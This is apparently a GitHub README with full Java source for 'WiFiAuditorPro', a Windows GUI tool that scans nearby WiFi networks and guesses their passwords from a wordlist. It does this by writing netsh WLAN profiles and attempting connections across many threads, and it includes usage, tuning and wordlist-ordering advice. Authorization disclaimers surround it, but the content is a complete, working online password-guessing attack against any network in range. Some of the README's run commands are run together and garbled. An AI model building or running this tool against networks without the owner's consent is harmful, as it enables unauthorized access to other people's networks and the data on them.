A high-performance multithreaded WiFi network security assessment tool for Windows systems.
THIS TOOL IS PROVIDED FOR AUTHORIZED SECURITY TESTING ONLY
- You MUST have explicit written permission from the network owner before testing
- Unauthorized access to computer networks is illegal in most jurisdictions
- This tool is intended for educational and authorized security research purposes only
- The authors assume NO liability for misuse of this software
- Users are solely responsible for ensuring compliance with all applicable laws
- United States: Violates the Computer Fraud and Abuse Act (CFAA) if used without authorization
- European Union: Illegal under GDPR and national cybercrime laws
- United Kingdom: Violates Computer Misuse Act 1990
- Canada: Violates Criminal Code Section 342.1
- Consult your local laws and regulations before use
- ✅ Multi-threaded password testing (adjustable 1-16 threads)
- ✅ Real-time progress monitoring and statistics
- ✅ Parallel WiFi network scanning
- ✅ Support for WPA2, WPA3, WPA, and Open networks
- ✅ AES and TKIP encryption support
- ✅ Live password/second rate calculation
- ✅ Automatic profile cleanup
- ✅ User-friendly GUI interface
- Operating System: Windows 7 or later
- Java: JDK/JRE 8 or higher
- Administrator Privileges: Required (for WiFi commands)
- Network Adapter: Compatible with Windows WLAN API
# Clone or download the repository
git clone https://github.com/yourusername/WiFiAuditorPro.git
cd WiFiAuditorPro
# Compile
javac WiFiPasswordTesterGUI.java
# Run (with administrator privileges)
java WiFiPasswordTesterGUIjava -jar WiFiAuditorPro.jarImportant: Always run as Administrator (right-click → Run as Administrator)
Create a text file with potential passwords (one per line):
password123
admin1234
supersecure
test1234
...
Popular wordlists:
java WiFiPasswordTesterGUIRun with Administrator privileges.
- Click "Scan Networks" button
- Wait for WiFi network discovery to complete
- Select a network from the list
- Enter path to your wordlist file
- Adjust thread count (default: 4)
- 1-2 threads: Slower, less system load
- 4-8 threads: Balanced performance (recommended)
- 10-16 threads: Fast, high system load
- Click "Start Testing"
- Monitor progress in real-time:
- Passwords tested / total passwords
- Percentage completion
- Passwords per second rate
- Elapsed time
- Success: Password found and displayed
- Failure: Password not in wordlist
- Results logged with timestamp and statistics
| Thread Count | Avg Speed | Performance Level |
|---|---|---|
| 1 | 10-15 pwd/s | Baseline |
| 2 | 18-25 pwd/s | Good |
| 4 | 35-50 pwd/s | Recommended |
| 8 | 60-80 pwd/s | Aggressive |
| 16 | 80-100 pwd/s | Maximum |
Note: Actual speeds depend on network adapter, OS, and system resources
java WiFiAuditorPro --network "NetworkName" --wordlist "passwords.txt" --threads 8set JAVA_OPTS=-Xmx512m
java WiFiPasswordTesterGUISolution: Run the application as Administrator
# Windows Command Prompt (Admin)
java WiFiPasswordTesterGUISolutions:
- Ensure WiFi adapter is enabled
- Try clicking "Scan Networks" again
- Check Windows WiFi drivers are updated
- Verify adapter supports WLAN API
Solution: Use absolute path or place wordlist in same directory as JAR
C:\Users\YourName\Desktop\passwords.txt
Solutions:
- Increase thread count to 8 or higher
- Close other applications
- Use a more optimized wordlist
- Ensure wordlist passwords are sorted by frequency
Solutions:
- Move closer to the WiFi router
- Ensure target network is in range
- Check network adapter drivers
- Try increasing wait time in config (advanced users)
Text file, one password per line:
password123
admin1234
test
123456789
qwerty123
Best Practices:
- Start with most common passwords
- Remove duplicates
- Sort by probability of use
- Use compressed wordlists to save space
- Testing networks you own
- Security assessment of your organization's networks (with written permission)
- Authorized penetration testing engagements
- Educational learning about WiFi security
- Research and development in cybersecurity
- Unauthorized access to any network
- Testing networks without explicit permission
- Criminal hacking or cracking
- Disrupting network services
- Testing third-party networks without authorization
- Windows-only (uses
netshcommand) - Requires Administrator privileges
- Connection attempts limited by network adapter capabilities
- May not work through VPN connections
- Profiles must be manually cleaned if tool crashes unexpectedly
# List all WiFi profiles
netsh wlan show profiles
# Delete test profiles
netsh wlan delete profile name="YourNetwork_test_*"This software is provided "AS-IS" for educational and authorized testing purposes. Users assume all responsibility for proper and legal usage.
Contributions are welcome! Please ensure:
- Code follows Java conventions
- All changes are well-documented
- No malicious modifications
- Proper testing before submission
- Issues: Report bugs via GitHub Issues
- Security Concerns: Do not use this tool maliciously
- Questions: Check documentation or GitHub Discussions
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
Users assume full responsibility for their actions and must comply with all applicable laws and regulations.
- ✅ Multithreaded password testing
- ✅ Real-time progress monitoring
- ✅ GUI interface
- ✅ Windows WLAN support
- Linux/macOS support
- Dictionary optimization
- Network interface selection
- Export results to CSV
- Scheduled testing
- GUI improvements
import javax.swing.*;
import javax.swing.border.EmptyBorder;
import java.awt.*;
import java.awt.event.*;
import java.io.*;
import java.nio.file.*;
import java.util.*;
import java.util.List;
import java.util.concurrent.*;
import java.util.concurrent.atomic.*;
import java.util.regex.*;
public class WiFiPasswordTesterGUI extends JFrame {
private DefaultListModel<WiFiNetwork> networkListModel = new DefaultListModel<>();
private JList<WiFiNetwork> networkJList = new JList<>(networkListModel);
private JTextField wordlistField = new JTextField("wordlist.txt");
private JTextArea logArea = new JTextArea();
private JButton scanButton = new JButton("Scan Networks");
private JButton startButton = new JButton("Start Testing");
private JSpinner threadSpinner = new JSpinner(new SpinnerNumberModel(4, 1, 16, 1));
private JLabel progressLabel = new JLabel("Ready");
private volatile boolean passwordFound = false;
private volatile String foundPassword = null;
private AtomicInteger attemptCount = new AtomicInteger(0);
private AtomicInteger totalPasswords = new AtomicInteger(0);
private long startTime = 0;
public WiFiPasswordTesterGUI() {
setTitle("WiFi Password Tester - Multithreaded");
setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
setSize(750, 550);
setLocationRelativeTo(null);
JPanel mainPanel = new JPanel(new BorderLayout(10, 10));
mainPanel.setBorder(new EmptyBorder(10, 10, 10, 10));
setContentPane(mainPanel);
// Top panel for scan and list
JPanel topPanel = new JPanel(new BorderLayout(10, 10));
mainPanel.add(topPanel, BorderLayout.NORTH);
scanButton.addActionListener(e -> scanNetworks());
topPanel.add(scanButton, BorderLayout.WEST);
networkJList.setSelectionMode(ListSelectionModel.SINGLE_SELECTION);
JScrollPane listScroll = new JScrollPane(networkJList);
listScroll.setPreferredSize(new Dimension(300, 150));
topPanel.add(listScroll, BorderLayout.CENTER);
// Middle panel for wordlist input and thread count
JPanel middlePanel = new JPanel(new GridLayout(3, 1, 5, 5));
mainPanel.add(middlePanel, BorderLayout.CENTER);
JPanel wordlistPanel = new JPanel(new BorderLayout(5, 5));
wordlistPanel.add(new JLabel("Wordlist Path:"), BorderLayout.WEST);
wordlistPanel.add(wordlistField, BorderLayout.CENTER);
middlePanel.add(wordlistPanel);
JPanel threadPanel = new JPanel(new BorderLayout(5, 5));
threadPanel.add(new JLabel("Thread Count:"), BorderLayout.WEST);
threadPanel.add(threadSpinner, BorderLayout.CENTER);
middlePanel.add(threadPanel);
JPanel buttonPanel = new JPanel(new BorderLayout(5, 5));
startButton.addActionListener(e -> startTesting());
buttonPanel.add(startButton, BorderLayout.CENTER);
buttonPanel.add(progressLabel, BorderLayout.SOUTH);
middlePanel.add(buttonPanel);
// Bottom panel for logs
logArea.setEditable(false);
logArea.setFont(new Font("Monospaced", Font.PLAIN, 11));
JScrollPane logScroll = new JScrollPane(logArea);
logScroll.setPreferredSize(new Dimension(600, 250));
mainPanel.add(logScroll, BorderLayout.SOUTH);
}
private void log(String message) {
SwingUtilities.invokeLater(() -> {
logArea.append(message + "\n");
logArea.setCaretPosition(logArea.getDocument().getLength());
});
}
private void updateProgress(String message) {
SwingUtilities.invokeLater(() -> progressLabel.setText(message));
}
private void scanNetworks() {
scanButton.setEnabled(false);
networkListModel.clear();
log("Scanning Wi-Fi networks...");
new Thread(() -> {
try {
List<WiFiNetwork> networks = scanNetworksInternal();
if (networks.isEmpty()) {
log("No Wi-Fi networks found.");
} else {
for (WiFiNetwork net : networks) {
networkListModel.addElement(net);
}
log("Scan complete. Found " + networks.size() + " networks. Select one from the list.");
}
} catch (Exception ex) {
log("Error scanning networks: " + ex.getMessage());
} finally {
SwingUtilities.invokeLater(() -> scanButton.setEnabled(true));
}
}).start();
}
private void startTesting() {
WiFiNetwork selectedNetwork = networkJList.getSelectedValue();
if (selectedNetwork == null) {
JOptionPane.showMessageDialog(this, "Please select a Wi-Fi network first.", "No Network Selected", JOptionPane.WARNING_MESSAGE);
return;
}
String wordlistPath = wordlistField.getText().trim();
if (wordlistPath.isEmpty()) {
wordlistPath = "wordlist.txt";
wordlistField.setText(wordlistPath);
}
File wordlistFile = new File(wordlistPath);
if (!wordlistFile.exists()) {
JOptionPane.showMessageDialog(this, "Wordlist file not found: " + wordlistPath, "File Not Found", JOptionPane.ERROR_MESSAGE);
return;
}
int threadCount = (Integer) threadSpinner.getValue();
startButton.setEnabled(false);
scanButton.setEnabled(false);
passwordFound = false;
foundPassword = null;
attemptCount.set(0);
totalPasswords.set(0);
startTime = System.currentTimeMillis();
log("========================================");
log("Starting multithreaded password testing");
log("Network: " + selectedNetwork.ssid);
log("Threads: " + threadCount);
log("========================================");
new Thread(() -> {
try {
boolean success = tryPasswordsMultithreaded(selectedNetwork, wordlistFile, threadCount);
long elapsed = (System.currentTimeMillis() - startTime) / 1000;
if (success) {
log("========================================");
log("✓ PASSWORD FOUND: " + foundPassword);
log("Time elapsed: " + elapsed + " seconds");
log("Attempts: " + attemptCount.get() + "/" + totalPasswords.get());
log("========================================");
JOptionPane.showMessageDialog(this,
"Password found: " + foundPassword + "\nTime: " + elapsed + "s",
"Success", JOptionPane.INFORMATION_MESSAGE);
} else {
log("========================================");
log("✗ Password not found in wordlist");
log("Time elapsed: " + elapsed + " seconds");
log("Total attempts: " + attemptCount.get());
log("========================================");
JOptionPane.showMessageDialog(this,
"Password not found.\nTested " + attemptCount.get() + " passwords in " + elapsed + "s",
"Failure", JOptionPane.INFORMATION_MESSAGE);
}
} catch (Exception ex) {
log("Error during password testing: " + ex.getMessage());
ex.printStackTrace();
JOptionPane.showMessageDialog(this, "Error: " + ex.getMessage(), "Error", JOptionPane.ERROR_MESSAGE);
} finally {
SwingUtilities.invokeLater(() -> {
startButton.setEnabled(true);
scanButton.setEnabled(true);
updateProgress("Ready");
});
}
}).start();
}
private boolean tryPasswordsMultithreaded(WiFiNetwork network, File wordlist, int threadCount)
throws IOException, InterruptedException {
// Read all passwords into memory
List<String> passwords = new ArrayList<>();
try (BufferedReader br = new BufferedReader(new FileReader(wordlist))) {
String line;
while ((line = br.readLine()) != null) {
line = line.trim();
if (!line.isEmpty()) {
passwords.add(line);
}
}
}
totalPasswords.set(passwords.size());
log("Loaded " + passwords.size() + " passwords from wordlist");
if (passwords.isEmpty()) {
log("Wordlist is empty!");
return false;
}
ExecutorService executor = Executors.newFixedThreadPool(threadCount);
List<Future<Boolean>> futures = new ArrayList<>();
// Start progress monitor
ScheduledExecutorService progressMonitor = Executors.newSingleThreadScheduledExecutor();
progressMonitor.scheduleAtFixedRate(() -> {
if (!passwordFound) {
int current = attemptCount.get();
int total = totalPasswords.get();
long elapsed = (System.currentTimeMillis() - startTime) / 1000;
double rate = elapsed > 0 ? (double) current / elapsed : 0;
double progress = total > 0 ? (double) current / total * 100 : 0;
updateProgress(String.format("Progress: %d/%d (%.1f%%) | Rate: %.1f pwd/s | Time: %ds",
current, total, progress, rate, elapsed));
}
}, 1, 1, TimeUnit.SECONDS);
// Submit password testing tasks
for (String password : passwords) {
if (passwordFound) break;
Future<Boolean> future = executor.submit(() -> {
if (passwordFound) return false;
attemptCount.incrementAndGet();
try {
if (testPassword(network, password)) {
passwordFound = true;
foundPassword = password;
log(">>> Thread " + Thread.currentThread().getId() + " found password: " + password);
return true;
}
} catch (Exception e) {
// Silently continue on errors (connection failures are expected)
}
return false;
});
futures.add(future);
}
// Wait for completion or password found
executor.shutdown();
boolean found = false;
try {
for (Future<Boolean> future : futures) {
if (passwordFound) {
found = true;
break;
}
try {
if (future.get()) {
found = true;
break;
}
} catch (ExecutionException e) {
// Continue on execution errors
}
}
} finally {
executor.shutdownNow();
progressMonitor.shutdown();
// Clean up any temporary profiles
cleanupProfiles(network.ssid);
}
return found;
}
private boolean testPassword(WiFiNetwork network, String password)
throws IOException, InterruptedException {
// Create unique profile name for this thread
String profileName = network.ssid + "_test_" + Thread.currentThread().getId();
// Create profile XML
String profileXml = createProfileXml(profileName, network.ssid, network.auth, network.encryption, password);
Path tempProfile = Files.createTempFile("wifi-profile-" + Thread.currentThread().getId() + "-", ".xml");
try {
Files.write(tempProfile, profileXml.getBytes());
// Add profile
ProcessBuilder addProfilePb = new ProcessBuilder("netsh", "wlan", "add", "profile",
"filename=" + tempProfile.toString(), "user=current");
addProfilePb.redirectErrorStream(true);
Process addProfileProcess = addProfilePb.start();
addProfileProcess.waitFor();
// Connect using the profile
ProcessBuilder connectPb = new ProcessBuilder("netsh", "wlan", "connect",
"name=" + profileName, "ssid=" + network.ssid);
connectPb.redirectErrorStream(true);
Process connectProcess = connectPb.start();
connectProcess.waitFor();
// Wait for connection attempt (reduced time for faster testing)
Thread.sleep(3000);
// Check if connected
boolean connected = isConnectedTo(network.ssid);
if (!connected) {
// Clean up profile
ProcessBuilder deleteProfilePb = new ProcessBuilder("netsh", "wlan", "delete", "profile", "name=" + profileName);
deleteProfilePb.redirectErrorStream(true);
Process deleteProfileProcess = deleteProfilePb.start();
deleteProfileProcess.waitFor();
}
return connected;
} finally {
Files.deleteIfExists(tempProfile);
}
}
private void cleanupProfiles(String ssid) {
try {
// Delete any test profiles that might be left over
for (int i = 0; i < 100; i++) {
String profileName = ssid + "_test_" + i;
ProcessBuilder pb = new ProcessBuilder("netsh", "wlan", "delete", "profile", "name=" + profileName);
pb.redirectErrorStream(true);
Process p = pb.start();
p.waitFor();
}
} catch (Exception e) {
// Ignore cleanup errors
}
}
private boolean isConnectedTo(String ssid) throws IOException, InterruptedException {
ProcessBuilder pb = new ProcessBuilder("netsh", "wlan", "show", "interfaces");
Process process = pb.start();
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
Pattern ssidPattern = Pattern.compile("^\\s*SSID\\s+: (.+)$");
Pattern statePattern = Pattern.compile("^\\s*State\\s+: (.+)$");
String currentSSID = null;
String state = null;
while ((line = reader.readLine()) != null) {
Matcher m;
m = ssidPattern.matcher(line);
if (m.find()) {
currentSSID = m.group(1).trim();
continue;
}
m = statePattern.matcher(line);
if (m.find()) {
state = m.group(1).trim();
}
}
process.waitFor();
return "connected".equalsIgnoreCase(state) && ssid.equals(currentSSID);
}
private List<WiFiNetwork> scanNetworksInternal() throws IOException, InterruptedException {
List<WiFiNetwork> networks = new ArrayList<>();
ProcessBuilder pb = new ProcessBuilder("netsh", "wlan", "show", "networks", "mode=bssid");
Process process = pb.start();
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
String currentSSID = null;
String auth = null;
String encryption = null;
Pattern ssidPattern = Pattern.compile("^SSID \\d+ : (.+)$");
Pattern authPattern = Pattern.compile("^Authentication\\s+: (.+)$");
Pattern encryptionPattern = Pattern.compile("^Encryption\\s+: (.+)$");
while ((line = reader.readLine()) != null) {
line = line.trim();
Matcher m;
m = ssidPattern.matcher(line);
if (m.find()) {
if (currentSSID != null) {
networks.add(new WiFiNetwork(currentSSID, auth, encryption));
}
currentSSID = m.group(1);
auth = null;
encryption = null;
continue;
}
m = authPattern.matcher(line);
if (m.find()) {
auth = m.group(1);
continue;
}
m = encryptionPattern.matcher(line);
if (m.find()) {
encryption = m.group(1);
}
}
if (currentSSID != null) {
networks.add(new WiFiNetwork(currentSSID, auth, encryption));
}
process.waitFor();
return networks;
}
private String createProfileXml(String profileName, String ssid, String auth, String encryption, String password) {
String authXml;
String encryptXml;
if (auth == null) auth = "";
if (encryption == null) encryption = "";
if (auth.toLowerCase().contains("wpa3")) {
authXml = "WPA3SAE";
} else if (auth.toLowerCase().contains("wpa2")) {
authXml = "WPA2PSK";
} else if (auth.toLowerCase().contains("wpa")) {
authXml = "WPAPSK";
} else if (auth.toLowerCase().contains("open")) {
authXml = "open";
} else {
authXml = "WPA2PSK";
}
if (encryption.toLowerCase().contains("aes")) {
encryptXml = "AES";
} else if (encryption.toLowerCase().contains("tkip")) {
encryptXml = "TKIP";
} else {
encryptXml = "AES";
}
if (authXml.equalsIgnoreCase("open")) {
return "<?xml version=\"1.0\"?>\n" +
"<WLANProfile xmlns=\"http://www.microsoft.com/networking/WLAN/profile/v1\">\n" +
" <name>" + profileName + "</name>\n" +
" <SSIDConfig>\n" +
" <SSID>\n" +
" <name>" + ssid + "</name>\n" +
" </SSID>\n" +
" </SSIDConfig>\n" +
" <connectionType>ESS</connectionType>\n" +
" <connectionMode>manual</connectionMode>\n" +
" <MSM>\n" +
" <security>\n" +
" <authEncryption>\n" +
" <authentication>open</authentication>\n" +
" <encryption>none</encryption>\n" +
" <useOneX>false</useOneX>\n" +
" </authEncryption>\n" +
" </security>\n" +
" </MSM>\n" +
"</WLANProfile>";
}
return "<?xml version=\"1.0\"?>\n" +
"<WLANProfile xmlns=\"http://www.microsoft.com/networking/WLAN/profile/v1\">\n" +
" <name>" + profileName + "</name>\n" +
" <SSIDConfig>\n" +
" <SSID>\n" +
" <name>" + ssid + "</name>\n" +
" </SSID>\n" +
" </SSIDConfig>\n" +
" <connectionType>ESS</connectionType>\n" +
" <connectionMode>manual</connectionMode>\n" +
" <MSM>\n" +
" <security>\n" +
" <authEncryption>\n" +
" <authentication>" + authXml + "</authentication>\n" +
" <encryption>" + encryptXml + "</encryption>\n" +
" <useOneX>false</useOneX>\n" +
" </authEncryption>\n" +
" <sharedKey>\n" +
" <keyType>passPhrase</keyType>\n" +
" <protected>false</protected>\n" +
" <keyMaterial>" + password + "</keyMaterial>\n" +
" </sharedKey>\n" +
" </security>\n" +
" </MSM>\n" +
"</WLANProfile>";
}
private static class WiFiNetwork {
String ssid;
String auth;
String encryption;
WiFiNetwork(String ssid, String auth, String encryption) {
this.ssid = ssid;
this.auth = auth;
this.encryption = encryption;
}
@Override
public String toString() {
return ssid + " (" + (auth != null ? auth : "Unknown") + ", " + (encryption != null ? encryption : "Unknown") + ")";
}
}
public static void main(String[] args) {
SwingUtilities.invokeLater(() -> {
WiFiPasswordTesterGUI gui = new WiFiPasswordTesterGUI();
gui.setVisible(true);
});
}
}Last Updated: October 2025 Disclaimer: Always obtain proper authorization before testing. Unauthorized access is illegal.